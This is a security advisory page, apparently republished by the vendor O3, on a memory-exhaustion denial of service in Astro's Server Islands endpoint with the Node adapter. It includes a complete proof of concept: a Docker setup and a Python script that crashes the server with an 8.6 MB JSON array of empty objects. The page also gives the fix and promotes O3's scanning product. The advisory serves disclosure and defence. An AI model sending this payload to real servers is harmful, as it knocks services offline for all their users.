GHSA-3rmj-9m5h-8fpv
MEDIUMAstro: Memory exhaustion DoS due to missing request body size limit in Server Islands
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@astrojs/nodenpmDescription
Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
Details
Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text(); // full body buffered into memory — no size limit
const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.
Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
PoC
Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.
The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
Setup files:
package.json:
{
"name": "poc-server-islands-dos",
"scripts": {
"build": "astro build",
"start": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.18.0",
"@astrojs/node": "9.5.4"
}
}
astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro:
---
---
<html>
<head><title>Astro App</title></head>
<body>
<h1>Hello</h1>
<p>Just a plain SSR page. No server islands.</p>
</body>
</html>
Dockerfile:
FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
docker-compose.yml:
services:
astro:
build: .
ports:
- "4321:4321"
deploy:
resources:
limits:
memory: 256m
Reproduction:
# Build and start
docker compose up -d
# Verify server is running
curl http://localhost:4321/
# => 200 OK
crash.py:
import requests
# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"
# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")
try:
r = requests.post(TARGET, data=payload,
headers={"Content-Type": "application/json"}, timeout=30)
print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)
$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused
$ docker compose ps
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
(empty — container was OOM killed)
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
Impact
Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @astrojs/node | all versions | 10.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @astrojs/node. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @astrojs/node to 10.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3rmj-9m5h-8fpv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3rmj-9m5h-8fpv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3rmj-9m5h-8fpv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3rmj-9m5h-8fpv in your dependencies?
O3 detects GHSA-3rmj-9m5h-8fpv across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.